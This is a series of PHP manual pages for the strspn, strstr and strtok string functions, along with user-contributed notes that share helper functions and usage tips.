I should have looked here first, but instead I wrote my own version of strrpos that supports searching for entire strings, rather than individual characters.  This is a recursive function.  I have not tested to see if it is more or less efficient than the others on the page.  I hope this helps someone!

<?php
//Find last occurance of needle in haystack
function str_rpos($haystack, $needle, $start = 0){
    $tempPos = strpos($haystack, $needle, $start);
    if($tempPos === false){
        if($start == 0){
            //Needle not in string at all
            return false;
        }else{
            //No more occurances found
            return $start - strlen($needle);
        }
    }else{
        //Find the next occurance
        return str_rpos($haystack, $needle, $tempPos + strlen($needle));
    }
}
?>
FIE 15-Feb-2003 02:03
refering to the comment and function about lastIndexOf()...
It seemed not to work for me the only reason I could find was the haystack was reversed and the string wasnt therefore it returnt the length of the haystack rather than the position of the last needle... i rewrote it as fallows:

<?php
function strlpos($f_haystack,$f_needle) {
      $rev_str = strrev($f_needle);
      $rev_hay = strrev($f_haystack);
      $hay_len = strlen($f_haystack);
      $ned_pos = strpos($rev_hay,$rev_str);
      $result  = $hay_len - $ned_pos - strlen($rev_str);
      return $result;
}
?>

this one fallows the strpos syntax rather than java's lastIndexOf.
I'm not positive if it takes more resources assigning all of those variables in there but you can put it all in return if you want, i dont care if i crash my server ;).

~SILENT WIND OF DOOM WOOSH!
php dot net at insite-out dot com 17-Dec-2002 08:47
I was looking for the equivalent of Java's lastIndexOf(). I couldn't find it so I wrote this:

<?php
/*
Method to return the last occurrence of a substring within a
string
*/
function last_index_of($sub_str,$instr) {
    if(strstr($instr,$sub_str)!="") {
        return(strlen($instr)-strpos(strrev($instr),$sub_str));
    }
    return(-1);
}
?>

It returns the numerical index of the substring you're searching for, or -1 if the substring doesn't exist within the string.
su.noseelg@naes, only backwards 13-Dec-2002 07:39
Maybe I'm the only one who's bothered by it, but it really bugs me when the last line in a paragraph is a single word. Here's an example to explain what I don't like:

The quick brown fox jumps over the lazy
dog.

So that's why I wrote this function. In any paragraph that contains more than 1 space (i.e., more than two words), it will replace the last space with '&nbsp;'.

<?php
function no_orphans($TheParagraph) {
    if (substr_count($TheParagraph," ") > 1) {
    $lastspace = strrpos($TheParagraph," ");
    $TheParagraph = substr_replace($TheParagraph,"&nbsp;",$lastspace,1);
    }
return $TheParagraph;
}
?>

So, it would change "The quick brown fox jumps over the lazy dog." to "The quick brown fox jumps over the lazy&nbsp;dog." That way, the last two words will always stay together.


Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.

  • « strrpos
  • strstr »
  • PHP Manual
  • String Functions
  • Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.

strspn

(PHP 4, PHP 5)

strspn — Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.

Description

int strspn ( string $subject , string $mask [, int $start [, int $length ]] )

Finds the length of the initial segment of subject that contains only characters from mask.

If start and length are omitted, then all of subject will be examined. If they are included, then the effect will be the same as calling strspn(substr($subject, $start, $length), $mask) (see substr for more information).

The line of code:

<?php
$var = strspn("42 is the answer to the 128th question.", "1234567890");
?>
will assign 2 to $var, because the string "42" is the initial segment of subject that consists only of characters contained within "1234567890".

Parameters

subject

The string to examine.

mask

The list of allowable characters.

start

The position in subject to start searching.

If start is given and is non-negative, then strspn() will begin examining subject at the start'th position. For instance, in the string 'abcdef', the character at position 0 is 'a', the character at position 2 is 'c', and so forth.

If start is given and is negative, then strspn() will begin examining subject at the start'th position from the end of subject.

length

The length of the segment from subject to examine.

If length is given and is non-negative, then subject will be examined for length characters after the starting position.

If lengthis given and is negative, then subject will be examined from the starting position up to length characters from the end of subject.

Return Values

Returns the length of the initial segment of subject which consists entirely of characters in mask.

Examples

Example #1 strspn() example

<?php
// subject does not start with any characters from mask
var_dump(strspn("foo", "o"));

// examine two characters from subject starting at offset 1
var_dump(strspn("foo", "o", 1, 2));

// examine one character from subject starting at offset 1
var_dump(strspn("foo", "o", 1, 1));
?>

The above example will output:

int(0)
int(2)
int(1)

Notes

Note: This function is binary-safe.

See Also

  • strcspn() - Find length of initial segment not matching mask

User Contributed Notes

bob at example dot com 06-Jun-2012 12:37
Quick way to check if a string consists entirely of characters within the mask is to compare strspn with strlen eg:

<?php
$path = $_SERVER['PATH_INFO'];
if (strspn($path,'/') == strlen($path)) {
    //PATH_INFO is empty
}
?>
mrsohailkhan at gmail dot com 01-Feb-2011 09:56
very dificult to get from the definition directly, while i search for that,i came to know that

strspn() will tell you the length of a string consisting entirely of the set of characters in accept set. That is, it starts walking down str until it finds a character that is not in the set (that is, a character that is not to be accepted), and returns the length of the string so far.

and

strcspn() works much the same way, except that it walks down str until it finds a character in the reject set (that is, a character that is to be rejected.) It then returns the length of the string so far.

<?php
$acceptSet = "aeiou";
$rejectSet  = "y";

$str1 ="a banana";
$str2 ="the bolivian navy on manuvers in the south pacific";

echo $n = strspn($str1,$acceptSet);// $n == 1, just "a"

echo $n = strcspn($str2,$rejectSet);// n = 16, "the bolivian nav"
?>

hope this example will help in understanding the concept of strspn() and strcspn().
AT-HE (at_he.hotmail) 28-Nov-2010 11:45
you can use this function with strlen to check illegal characters, string lenght must be the same than strspn (characters from my string contained in another)

<?php

$digits='0123456789';

if (strlen($phone) != strspn($phone,$digits))
 echo "illegal characters";

?>
Dmitry Mazur 04-Mar-2009 07:23
The second parameter is a set of allowed characters.
strspn will return an zero-based index of a first non-allowed character.
barry dot balkowski at gmail dot com 08-Aug-2008 11:12
It took me some time to understand the way this function works…
I’ve compiled my own explanation with my own words that is more understandable for me personally than the official one or those that can be found in different tutorials on the web.
Perhaps, it will save someone several minutes…

<?php
strspn(string $haystack, string $char_list [, int $start [, int $length]])
?>

The way it works:
 -   searches for a segment of $haystack that consists entirely from supplied through the second argument chars
 -   $haystack must start from one of the chars supplied through $char_list, otherwise the function will find nothing
 -   as soon as the function encounters a char that was not mentioned in $chars it understands that the segment is over and stops (it doesn’t search for the second, third and so on segments)
 -   finally, it measures the segment’s length and return it (i.e. length)

In other words it finds a span (only the first one) in the string that consists entirely form chars supplied in $chars_list and returns its length
B Crawford 03-Oct-2007 02:20
This function is significantly faster for checking illegal characters than the equivalent preg_match() method.


Find the first occurrence of a string

  • « strspn
  • strtok »
  • PHP Manual
  • String Functions
  • Find the first occurrence of a string

strstr

(PHP 4, PHP 5)

strstr — Find the first occurrence of a string

Description

string strstr ( string $haystack , mixed $needle [, bool $before_needle = false ] )

Returns part of haystack string starting from and including the first occurrence of needle to the end of haystack.

Note:

This function is case-sensitive. For case-insensitive searches, use stristr().

Note:

If you only want to determine if a particular needle occurs within haystack, use the faster and less memory intensive function strpos() instead.

Parameters

haystack

The input string.

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

before_needle

If TRUE, strstr() returns the part of the haystack before the first occurrence of the needle (excluding the needle).

Return Values

Returns the portion of string, or FALSE if needle is not found.

Changelog

Version | Description
5.3.0 | Added the optional parameter before_needle.
4.3.0 | strstr() was made binary safe.

Examples

Example #1 strstr() example

<?php
$email  = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // prints @example.com

$user = strstr($email, '@', true); // As of PHP 5.3.0
echo $user; // prints name
?>

See Also

  • stristr() - Case-insensitive strstr
  • strrchr() - Find the last occurrence of a character in a string
  • strpos() - Find the position of the first occurrence of a substring in a string
  • strpbrk() - Search a string for any of a set of characters
  • preg_match() - Perform a regular expression match

User Contributed Notes

laszlo dot heredy at gmail dot com 08-Nov-2013 06:39
strstr() is not a way to avoid type-checking with strpos().

If $needle is the last character in $haystack, and testing $needle as a boolean by itself would evaluate to false, then testing strstr() as a boolean will evaluate to false (because, if successful, strstr() returns the first occurrence of $needle along with the rest of $haystack).

<?php
findZero('01234');  // found a zero
findZero('43210');  // did not find a zero
findZero('0');      // did not find a zero
findZero('00');     // found a zero
findZero('000');    // found a zero
findZero('10');     // did not find a zero
findZero('100');    // found a zero

function findZero($numberString) {
    if (strstr($numberString, '0')) {
        echo 'found a zero';
    } else {
        echo 'did not find a zero';
    }
}
?>

Also, strstr() is far more memory-intensive than strpos(), especially with longer strings as your $haystack, so if you are not interested in the substring that strstr() returns, you shouldn't be using it anyway.

There is no PHP function just to check only _if_ $needle occurs in $haystack; strpos() tells you if it _doesn't_ by returning false, but, if it does occur, it tells you _where_ it occurs as an integer, which is 0 (zero) if $needle is the first part of $haystack, which is why testing if (strpos($needle, $haystack)===false) is the only way to know for sure if $needle is not part of $haystack.

My advice is to start loving type checking immediately, and to familiarize yourself with the return value of the functions you are using.

Cheers.
xslidian at lidian dot info 21-Feb-2013 04:37
For those in need of the last occurrence of a string:

<?php
function strrstr($h, $n, $before = false) {
    $rpos = strrpos($h, $n);
    if($rpos === false) return false;
    if($before == false) return substr($h, $rpos);
    else return substr($h, 0, $rpos);
}
?>
peter at olds dot co 20-Feb-2012 07:16
I was in need of getting the first and last part of a string pre 5.3 so I wrote this:

<?php
$fir = $first = explode( " ", $cmd[1] );
unset( $fir[0] );
$end = ltrim( implode( " ", $fir ) );
?>

I needed it split with a " " but can obviously change for your needs. But with this format your output for the string:

"PHP is the best programming language out there"

Will give you the following results:

<?php
$first[0] // PHP
$end // is the best programming language out there
?>

Works really well :)
gruessle at gmail dot com 20-Apr-2011 10:39
Been using this for years:

<?php
/**
*
* @author : Dennis T Kaplan
*
* @version : 1.0
* Date : June 17, 2007
* Function : reverse strstr()
* Purpose : Returns part of haystack string from start to the first occurrence of needle
* $haystack = 'this/that/whatever';
* $result = rstrstr($haystack, '/')
* $result == this
*
* @access public
* @param string $haystack, string $needle
* @return string
**/

function rstrstr($haystack,$needle)
    {
        return substr($haystack, 0,strpos($haystack, $needle));
    }
?>

You could change it to:
rstrstr ( string $haystack , mixed $needle [, int $start] )
<?php

function rstrstr($haystack,$needle, $start=0)
    {
        return substr($haystack, $start,strpos($haystack, $needle));
    }

?>
w3b_monk3y at yahoo dot com 20-Jan-2009 09:28
If you want to emulate strstr's new before_needle parameter pre 5.3 strtok is faster than using strpos to find the needle and cutting with substr. The amount of difference varies with string size but strtok is always faster.
brett dot jr dot alton at gmail dot com 25-Nov-2007 05:02
For the needle_before (first occurance) parameter when using PHP 5.x or less, try:

<?php
$haystack = 'php-homepage-20071125.png';
$needle = '-';
$result = substr($haystack, 0, strpos($haystack, $needle)); // $result = php
?>
prafe at prafesplace dot com 22-Nov-2007 06:14
If you want to use the $before_needle parameter that's only in PHP 5.3.0, I found a way to use it in lower versions.

The code is a bit hefty, but it works. It also has added $include_needle and $case_sensitive.

<?php
// ==== I don't guarantee this is faster than the PHP 6 before needle, ====
// ====  but it works for PHP below 6 atleast. ====
// ==== IT ALSO HAS INCLUDE NEEDLE BOOLEAN.. ====
function strstrbi($haystack,$needle,$before_needle,
$include_needle,$case_sensitive)
{
  $strstr = ($case_sensitive) ? 'strstr' : 'stristr';
  if($before_needle!=true && $before_needle!=false && isset($before_needle)){
      die('PHP: Error in function '.chr(39).'$strstrbi'. chr(39).' :  parameter '. chr(39).'$before_needle'.chr(39).' is not a supplied as a boolean.');
  } // END BOOLEAN CHECK '$before_needle'

  if($include_needle!=true && $include_needle!=false && isset($include_needle)){
    die('PHP: Error in function '.chr(39).'$strstrbi'. chr(39).' : parameter '. chr(39).'$include_needle'.chr(39). ' is not a supplied as a boolean.');
  } // END BOOLEAN CHECK '$include_needle'

  if($case_sensitive!=true && $case_sensitive!=false && isset($case_sensitive)){
    die('PHP: Error in function '.chr(39).'$strstrbi' .chr(39).' : parameter '. chr(39).'$case_sensitive'.chr(39).' is not a supplied as a boolean.');
  } // END BOOLEAN CHECK '$case_sensitive'

  if(!isset($before_needle)){
    $before_needle=false;
  }

  if(!isset($include_needle)){
    $include_needle=true;
  }

  if(!isset($case_sensitive)){
    $case_sensitive=false;
  }

  switch($before_needle){
    case true:
      switch($include_needle){
        case true:
          $temp=strrev($haystack);
          $ret=strrev(substr($strstr($temp,$needle),0));
          break;
        // END case true : $include_needle
        case false:
          $temp=strrev($haystack);
          $ret=strrev(substr($strstr($temp,$needle),1));
          break;
        // END case false : $include_needle
      }
      break;
    // END case true : $before_needle
    case false:
      switch($include_needle){
        case true:
          $ret=$strstr($haystack,$needle);
          break;
        // END case true: $include_needle
        case false:
          $ret=substr($strstr($haystack,$needle),1);
          break;
        // END case false: $include_needle
    }
    break;
    // END case false : $before_needle
  }

  if(!empty($ret)){
    return $ret;
  }else{
    return false;
  }
}
// === END FUNCTION 'strstrbi'

// Example

$email  = 'user@example.com';
$domain = strstrbi($email, '@', false, false, false);
echo $domain; // prints example.com

$user = strstrbi($email, '@', true, false, false);
echo $user; // prints user
?>
root at mantoru dot de 10-Nov-2007 12:22
Please note that $needle is included in the return string, as shown in the example above. This ist not always desired behavior, _especially_ in the mentioned example. Use this if you want everything AFTER $needle.

<?php
function strstr_after($haystack, $needle, $case_insensitive = false) {
    $strpos = ($case_insensitive) ? 'stripos' : 'strpos';
    $pos = $strpos($haystack, $needle);
    if (is_int($pos)) {
        return substr($haystack, $pos + strlen($needle));
    }
    // Most likely false or null
    return $pos;
}

// Example
$email = 'name@example.com';
$domain = strstr_after($email, '@');
echo $domain; // prints example.com
?>
gigaman2003 at halfempty dot co dot uk 24-Feb-2007 09:48
Often you will need to find all occurrences of a string (for security escapes and such)

So I wrote this function to return an array with the locations of all the occurrences. Almost like an advanced strstr.

<?php
function findall($needle, $haystack)
{
    //Setting up
    $buffer=''; //We will use a 'frameshift' buffer for this search
    $pos=0; //Pointer
    $end = strlen($haystack); //The end of the string
    $getchar=''; //The next character in the string
    $needlelen=strlen($needle); //The length of the needle to find (speeds up searching)
    $found = array(); //The array we will store results in

    while($pos<$end)//Scan file
    {
        $getchar = substr($haystack,$pos,1); //Grab next character from pointer
        if($getchar!="\n" || buffer<$needlelen) //If we fetched a line break, or the buffer is still smaller than the needle, ignore and grab next character
        {
            $buffer = $buffer . $getchar; //Build frameshift buffer
            if(strlen($buffer)>$needlelen) //If the buffer is longer than the needle
            {
                $buffer = substr($buffer,-$needlelen);//Truncunate backwards to needle length (backwards so that the frame 'moves')
            }
            if($buffer==$needle) //If the buffer matches the needle
            {
                $found[]=$pos-$needlelen+1; //Add the location of the needle to the array. Adding one fixes the offset.
            }
        }
        $pos++; //Increment the pointer
    }
    if(array_key_exists(0,$found)) //Check for an empty array
    {
        return $found; //Return the array of located positions
    }
    else
    {
        return false; //Or if no instances were found return false
    }
}
?>

Haven't had the chance to speed test it, but many optimizations should be possible. It just works enough for me. Hope it saves someone a lot of time.
leo dot nard at free dot fr 24-May-2005 11:12
When encoding ASCII strings to HTML size-limited strings, sometimes some HTML special chars were cut.

For example, when encoding "��" to a string of size 10, you would get: "à&a" => the second character is cut.

This function will remove any unterminated HTML special characters from the string...

<?php
function cut_html($string)
{
    $a=$string;

    while ($a = strstr($a, '&'))
    {
        echo "'".$a."'\n";
        $b=strstr($a, ';');
        if (!$b)
        {
            echo "couper...\n";
            $nb=strlen($a);
            return substr($string, 0, strlen($string)-$nb);
        }
        $a=substr($a,1,strlen($a)-1);
    }
    return $string;
}
?>
php at silisoftware dot com 15-Feb-2003 12:37
PHP versions before 4.3.0 (tested on 4.2.2 and 4.2.3) return the $haystack from $needle only up to the first null character. So for example:

<?php
$string = strstr("one#two\x00three", "#");
// PHP 4.2.x:  $string contains "#two"
// PHP 4.3.0:  $string contains "#two\x00three"
?>

If you're trying to match nulls, you will probably get back an empty string:

<?php
$string = strstr("one#two\x00three", "\x00");
// PHP 4.2.x:  $string contains ""
// PHP 4.3.0:  $string contains "\x00three"
?>


Tokenize string

  • « strstr
  • strtolower »
  • PHP Manual
  • String Functions
  • Tokenize string

strtok

(PHP 4, PHP 5)

strtok — Tokenize string

Description

string strtok ( string $str , string $token )
string strtok ( string $token )

strtok() splits a string (str) into smaller strings (tokens), with each token being delimited by any character from token. That is, if you have a string like "This is an example string" you could tokenize this string into its individual words by using the space character as the token.

Note that only the first call to strtok uses the string argument. Every subsequent call to strtok only needs the token to use, as it keeps track of where it is in the current string. To start over, or to tokenize a new string you simply call strtok with the string argument again to initialize it. Note that you may put multiple tokens in the token parameter. The string will be tokenized when any one of the characters in the argument are found.

Parameters

str

The string being split up into smaller strings (tokens).

token

The delimiter used when splitting up str.

Return Values

A string token.

Examples

Example #1 strtok() example

<?php
$string = "This is\tan example\nstring";
/* Use tab and newline as tokenizing characters as well  */
$tok = strtok($string, " \n\t");

while ($tok !== false) {
    echo "Word=$tok<br />";
    $tok = strtok(" \n\t");
}
?>

The behavior when an empty part was found changed with PHP 4.1.0. The old behavior returned an empty string, while the new, correct, behavior simply skips the part of the string:

Example #2 Old strtok() behavior

<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);
?>

The above example will output:

    string(0) ""
    string(9) "something"

Example #3 New strtok() behavior

<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);
?>

The above example will output:

    string(9) "something"
    bool(false)

Notes

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • split() - Split string into array by regular expression
  • explode() - Split a string by string

User Contributed Notes

eep2004 at ukr dot net 07-Oct-2014 07:01
Remove GET variables from the URL
<?php
$url = strtok('http://php.net/manual/en/ref.strings.php?foo=1&bar=2', '?');
// $url = 'http://php.net/manual/en/ref.strings.php'
info at maisuma dot jp 30-May-2014 05:15
If you want to tokenize by only one letter, explode() is much faster compared to strtok().

<?php
$str=str_repeat('foo ',10000);

//explode()
$time=microtime(TRUE);
$arr=explode($str,' ');
$time=microtime(TRUE)-$time;
echo "explode():$time sec.".PHP_EOL;

//strtok()
$time=microtime(TRUE);
$ret=strtok(' ',$str);
while($ret!==FALSE){
    $ret=strtok(' ');
}
$time=microtime(TRUE)-$time;
echo "strtok():$time sec.".PHP_EOL;

?>

The result is : (PHP 5.3.3 on CentOS)

explode():0.001317024230957 sec.
strtok():0.0058917999267578 sec.

explode() is about five times fast in short strings, too.
Axeia 12-Feb-2014 02:12
Might be pointing out the obvious but if you'd rather use a for loop rather than a while (to keep the token strings on the same line for readability for example), it can be done. Added bonus, it doesn't put a $tok variable outside the loop itself either.
Downside however is that you're not able to manually free up the memory used using the technique mentioned by elarlang.

<?php
for($tok = strtok($str, ' _-.'); $tok!==false; $tok = strtok(' _-.'))
{
  echo "$tok </br>";
}
?>
eep2004 at ukr dot net 19-Sep-2013 01:11
<?php
// strtok example
$str = 'Hello to all of Ukraine';
echo strtok($str, ' ').' '.strtok(' ').' '.strtok(' ');
?>
Result:
Hello to all
gilthans at NOSPAM dot gmail dot com 16-Jul-2012 03:47
Note that strtok may receive different tokens each time. Therefore, if, for example, you wish to extract several words and then the rest of the sentence:

<?php
$text = "13 202 5 This is a long message explaining the error codes.";
$error1 = strtok($text, " "); //13
$error2 = strtok(" "); //202
$error3 = strtok(" "); //5
$error_message = strtok(""); //Notice the different token parameter
echo $error_message; //This is a long message explaining the error codes.
?>
pradador at me dot com 13-May-2011 09:10
Here's a simple class that allows you to iterate through string tokens using a foreach loop.

<?php
/**
 * The TokenIterator class allows you to iterate through string tokens using
 * the familiar foreach control structure.
 *
 * Example:
 * <code>
 * <?php
 * $string = 'This is a test.';
 * $delimiters = ' ';
 * $ti = new TokenIterator($string, $delimiters);
 *
 * foreach ($ti as $count => $token) {
 *     echo sprintf("%d, %s\n", $count, $token);
 * }
 *
 * // Prints the following output:
 * // 0. This
 * // 1. is
 * // 2. a
 * // 3. test.
 * </code>
 */
class TokenIterator implements Iterator
{
    /**
     * The string to tokenize.
     * @var string
     */
    protected $_string;

    /**
     * The token delimiters.
     * @var string
     */
    protected $_delims;

    /**
     * Stores the current token.
     * @var mixed
     */
    protected $_token;

    /**
     * Internal token counter.
     * @var int
     */
    protected $_counter = 0;

    /**
     * Constructor.
     *
     * @param string $string The string to tokenize.
     * @param string $delims The token delimiters.
     */
    public function __construct($string, $delims)
    {
        $this->_string = $string;
        $this->_delims = $delims;
        $this->_token = strtok($string, $delims);
    }

    /**
     * @see Iterator::current()
     */
    public function current()
    {
        return $this->_token;
    }

    /**
     * @see Iterator::key()
     */
    public function key()
    {
        return $this->_counter;
    }

    /**
     * @see Iterator::next()
     */
    public function next()
    {
        $this->_token = strtok($this->_delims);

        if ($this->valid()) {
            ++$this->_counter;
        }
    }

    /**
     * @see Iterator::rewind()
     */
    public function rewind()
    {
        $this->_counter = 0;
        $this->_token   = strtok($this->_string, $this->_delims);
    }

    /**
     * @see Iterator::valid()
     */
    public function valid()
    {
        return $this->_token !== FALSE;
    }
}
?>
elarlang at gmail dot com 22-Mar-2011 07:45
If you have memory-usage critical solution, you should keep in mind, that strtok function holds input string parameter (or reference to it?) in memory after usage.

<?php
function tokenize($str, $token_symbols) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }
}
?>
Test-cases with handling ~10MB plain-text file:
Case #1 - unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // mem usage 9.75383758545 MB (memory_get_usage() / 1024 / 1024));
tokenize($str, $token_symbols); // mem usage 9.75400161743 MB
unset($str); // 9.75395584106 MB
?>
Case #1 result: memory is still used

Case #2 - call strtok again
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75401306152 MB
tokenize($str, $token_symbols); // 9.75417709351
strtok('', ''); // 9.75421524048
?>
Case #2 result: memory is still used

Case #3 - call strtok again AND unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75410079956 MB
tokenize($str, $token_symbols); // 9.75426483154 MB
unset($str);
strtok('', ''); // 0.0543975830078 MB
?>
Case #3 result: memory is free

So, better solution for tokenize function:
<?php
function tokenize($str, $token_symbols, $token_reset = true) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }

    if($token_reset)
        strtok('', '');
}
?>
fabiolimasouto at gmail dot com 20-Nov-2010 02:54
this example will hopefully help you understand how this function works:

<?php
$selector = 'div.class#id';
$tagname = strtok($selector,'.#');
echo $tagname.'<br/>';

while($tok = strtok('.#'))
{
 echo $tok.'<br/>';
}

?>

Outputs:
div
class
id
benighted at gmail dot com 06-Nov-2009 03:47
Simple way to tokenize search parameters, including double or single quoted keys.  If only one quote is found, the rest of the string is assumed to be part of that token.

<?php
            $token = strtok($keywords,' ');
            while ($token) {
                // find double quoted tokens
                if ($token{0}=='"') { $token .= ' '.strtok('"').'"'; }
                // find single quoted tokens
                if ($token{0}=="'") { $token .= ' '.strtok("'")."'"; }

                $tokens[] = $token;
                $token = strtok(' ');
            }
?>

Use substr(1,strlen($token)) and remove the part that adds the trailing quotes if you want your output without quotes.
azeem 02-Sep-2009 09:14
Here is a java like StringTokenizer class using strtok function:

<?php

/**
 * The string tokenizer class allows an application to break a string into tokens.
 *
 * @example The following is one example of the use of the tokenizer. The code:
 * <code>
 * <?php
 *    $str = 'this is:@\t\n a test!';
 *    $delim = ' !@:'\t\n; // remove these chars
 *    $st = new StringTokenizer($str, $delim);
 *    while ($st->hasMoreTokens()) {
 *        echo $st->nextToken() . "\n";
 *    }
 *    prints the following output:
 *      this
 *      is
 *      a
 *      test
 * ?>
 * </code>
 */
class StringTokenizer {

    /**
     * @var string
     */
    private $token;

    /**
     * @var string
     */
    private $delim;
    /**
     * Constructs a string tokenizer for the specified string
     * @param string $str String to tokenize
     * @param string $delim The set of delimiters (the characters that separate tokens)
     * specified at creation time, default to ' '
     */
    public function __construct(/*string*/ $str, /*string*/ $delim = ' ') {
        $this->token = strtok($str, $delim);
        $this->delim = $delim;
    }

    public function __destruct() {
        unset($this);
    }

    /**
     * Tests if there are more tokens available from this tokenizer's string. It
     * does not move the internal pointer in any way. To move the internal pointer
     * to the next element call nextToken()
     * @return boolean - true if has more tokens, false otherwise
     */
    public function hasMoreTokens() {
        return ($this->token !== false);
    }

    /**
     * Returns the next token from this string tokenizer and advances the internal
     * pointer by one.
     * @return string - next element in the tokenized string
     */
    public function nextToken() {
        $current = $this->token;
        $this->token = strtok($this->delim);
        return $current;
    }
}
?>
yanick dot rochon at gmail dot com 15-Jun-2009 06:37
Here is a small function I wrote as I needed to extract some named tokens from a string (a la Google). For example, I needed to format a string like "extension:gif size:64M animated:true author:'John Bash'" into

array(
  'extension' => 'gif',
  'size' => '64M',
  'animated' => true,
  'author' => 'John Bash'
)

So, here's the code:

<?php

header('Content-type: text/plain; charset=utf-8');

/**
 * NOTE : use mbstring.func_overload for multi-byte support with this function
 *
 * @param string $string             the string to tokenize
 * @param int $offset                the starting offset
 * @param string $defaultTokenName   the default token name if none specified
 * @param string $groupDelimiters    the characters to delimit token groups
 * @param string $groupNameDelimiter the character(s) to delimit token group names
 * @return array
 */
function getTokens(
        $string,
        $offset = 0,
        $defaultTokenName = null,
        $groupDelimiters = '\'"',
        $groupNameDelimiter = ':')
{

    if ($offset >= strlen($string)) {
        //echo "offset out of range";
        return false;
    }

    $spaces = " \t\n\r";   // space characters

    // add group delimiters to spaces...
    $groupSpaces = $spaces . $groupNameDelimiter;
    $delimiters = $groupSpaces . $groupDelimiters;

    //var_dump($groupSpaces);

    $string = ltrim(substr($string, $offset), $groupSpaces);
    $token_strings = array();

    //echo "String is : " . $string . "\n";

    // 1. split all tokens...
    while ($offset < strlen($string)) {
        $lastOffset = $offset;
        $escaped = false;

        if (false !== strpos($groupDelimiters, $char = $string[$offset])) {
            $groupChar = $char;
        } else {
            $groupChar = null;
        }

        if (null !== $groupChar) {
            while (($offset < strlen($string)) && (($groupChar !== ($char = $string[++$offset])) || $escaped)) {
                //$offset++;
                $escaped = ('\\' === $char);
            }
            $offset++;
            //echo "*** Grouped : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        } else {
            while (($offset < strlen($string)) && ((false === strpos($delimiters, $char = $string[$offset])) || $escaped)) {
                $offset++;
                $escaped = ('\\' === $char);
            }
            //echo "*** Non-group : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        }
        //skip spaces...
        while (($offset < strlen($string)) && ((false !== strpos($groupSpaces, $char = $string[$offset])) || $escaped)) {
            $offset++;
            $escaped = ('\\' === $char);
        }

        $token_strings[] = substr($string, $lastOffset, $offset - $lastOffset);
        //echo "Next token = '" . end($token_strings) . "'\n";
    }

    $tokens = array();
    $tokenName = null;
    foreach ($token_strings as $token_str) {
        // clean $token_str
        $token_str = trim(stripslashes($token_str), $spaces);
        $str_value = trim($token_str, $delimiters);
        switch (strtolower($str_value)) {
            case 'true': $str_value = true; break;
            case 'false': $str_value = false; break;
            default: break;
        }

        // is it a token name?
        if (':' === substr($token_str, -1, 1)) {
            if (!empty($tokenName)) {
                $tokens[$tokenName] = '';
            }
            $tokenName = trim($token_str, $delimiters);
        } else {
            if (!empty($tokenName)) {
                if (isset($tokens[$tokenName])) {
                    $tokens[$tokenName] = array(
                        $tokens[$tokenName],
                        $str_value
                    );
                } else {
                    $tokens[$tokenName] = $str_value;
                }
                $tokenName = null;
            } elseif (empty($defaultTokenName)) {
                $tokens[] = trim($token_str, $delimiters);;
            } else {
                if (isset($tokens[$defaultTokenName])) {
                    $tokens[$defaultTokenName] = array(
                        $tokens[$defaultTokenName],
                        $str_value
                    );
                } else {
                    $tokens[$defaultTokenName] = $str_value;
                }
            }
        }
    }
    if (!empty($tokenName)) {
        $tokens[$tokenName] = '';
    }

    return $tokens;
}

$str = "check1: test "
     . "check2:'hello world' "
     . 'check3: "foo" '
     . "check4: \\\"try this\\\""
     . '"buz" '
     . 'check1:true';

?>
KrazyBox 07-Mar-2009 03:11
As of the change in strtok()'s handling of empty strings, it is now useless for scripts that rely on empty data to function.

Take for instance, a standard header. (with UNIX newlines)

http/1.0 200 OK\n
Content-Type: text/html\n
\n
--HTML BODY HERE---

When parsing this with strtok, one would wait until it found an empty string to signal the end of the header. However, because strtok now skips empty segments, it is impossible to know when the header has ended.
This should not be called `correct' behavior, it certainly is not. It has rendered strtok incapable of (properly) processing a very simple standard.

This new functionality, however, does not affect Windows style headers. You would search for a line that only contains "\r"
This, however, is not a justification for the change.
Logikos 04-Jan-2009 07:12
This looks very simple, but it took me a long time to figure out so I thought I'd share it incase someone else was wanting the same thing:

this should work similar to substr() but with tokens instead!

<?php
/* subtok(string,chr,pos,len)
 *
 * chr = chr used to seperate tokens
 * pos = starting postion
 * len = length, if negative count back from right
 *
 *  subtok('a.b.c.d.e','.',0)     = 'a.b.c.d.e'
 *  subtok('a.b.c.d.e','.',0,2)   = 'a.b'
 *  subtok('a.b.c.d.e','.',2,1)   = 'c'
 *  subtok('a.b.c.d.e','.',2,-1)  = 'c.d'
 *  subtok('a.b.c.d.e','.',-4)    = 'b.c.d.e'
 *  subtok('a.b.c.d.e','.',-4,2)  = 'b.c'
 *  subtok('a.b.c.d.e','.',-4,-1) = 'b.c.d'
 */
function subtok($string,$chr,$pos,$len = NULL) {
  return implode($chr,array_slice(explode($chr,$string),$pos,$len));
}
?>

explode breaks the tokens up into an array, array slice alows you to pick then tokens you want, and then implode converts it back to a string

although its far from a clone, this was inspired by mIRC's gettok() function
mac.com@nemo 18-Feb-2006 10:49
This function takes a string and returns an array with words (delimited by spaces), also taking into account quotes, doublequotes, backticks and backslashes (for escaping stuff).
So

$string = "cp   'my file' to `Judy's file`";
var_dump(parse_cli($string));

would yield:

array(4) {
  [0]=>
  string(2) "cp"
  [1]=>
  string(7) "my file"
  [2]=>
  string(5) "to"
  [3]=>
  string(11) "Judy's file"
}

Way it works, runs through the string character by character, for each character looking up the action to take, based on that character and its current $state.
Actions can be (one or more of) adding the character/string to the current word, adding the word to the output array, and changing or (re)storing the state.
For example a space will become part of the current 'word' (or 'token') if $state is 'doublequoted', but it will start a new token if $state was 'unquoted'.
I was later told it's a "tokeniser using a finite state automaton". Who knew :-)

